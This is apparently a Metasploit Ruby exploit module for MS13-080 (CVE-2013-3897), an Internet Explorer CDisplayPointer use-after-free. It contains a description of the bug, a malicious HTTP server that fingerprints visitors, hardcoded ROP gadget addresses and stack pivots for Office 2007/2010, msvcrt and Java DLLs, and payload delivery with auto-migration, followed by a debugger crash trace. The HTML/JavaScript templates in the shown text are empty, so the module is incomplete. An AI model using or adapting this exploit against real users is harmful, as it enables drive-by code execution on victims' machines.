## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-3897' ], [ 'OSVDB', '98207' ], [ 'MSB', 'MS13-080' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', {} ], [ 'IE 8 on Windows XP SP3', {} ], [ 'IE 8 on Windows 7', {} ], ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, 'DefaultOptions' => { #'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. # MSFT patched this on Oct 8th. 'DisclosureDate' => "Oct 08 2013", 'DefaultTarget' => 0)) end def get_check_html %Q| | end def junk rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(target_info) rop_payload = '' os = target_info[:os] dll_used = '' case target_info[:dll] when @js_office_2007_str dll_used = "Office 2007" pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 junk, # ESI due to POPAD junk, # EBP due to POPAD junk, junk, # EBX due to POPAD junk, # EDX due to POPAD junk, # ECX due to POPAD 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) 0x51bd81db, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) when @js_office_2010_str dll_used = "Office 2010" pivot = [ 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 junk, junk, junk, junk, junk, 0x51BE7E9A, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) when @js_default_str if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll dll_used = "msvcrt" pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret ].pack("V*") rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP dll_used = "Java" pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn junk # Padding for the POP ECX ].pack("V*") rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) end end print_status("Target uses #{os} with #{dll_used} DLL") rop_payload end # # IE 6's call is at 6 # IE 8's call is at 7 # Don't think this one triggers on IE9 # def get_sploit_html(target_info) os = target_info[:os] js_payload = '' if os =~ /Windows (7|XP) MSIE [78]\.0/ js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target not supported by this attack.") return "" end %Q| | end def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)), :dll => Rex::Text.uri_decode($2) } sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end html = get_check_html print_status("Checking out target...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end def exploit @js_office_2007_str = Rex::Text.rand_text_alpha(4) @js_office_2010_str = Rex::Text.rand_text_alpha(5) @js_default_str = Rex::Text.rand_text_alpha(6) super end end =begin +hpa this for debugging or you might not see a crash at all :-) 0:005> r eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? 0:005> u mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] 6d6dc125 8365e800 and dword ptr [ebp-18h],0 6d6dc129 8d4de8 lea ecx,[ebp-18h] 6d6dc12c 51 push ecx 6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) 6d6dc132 53 push ebx 6d6dc133 bf02400080 mov edi,80004002h 6d6dc138 ff10 call dword ptr [eax] =end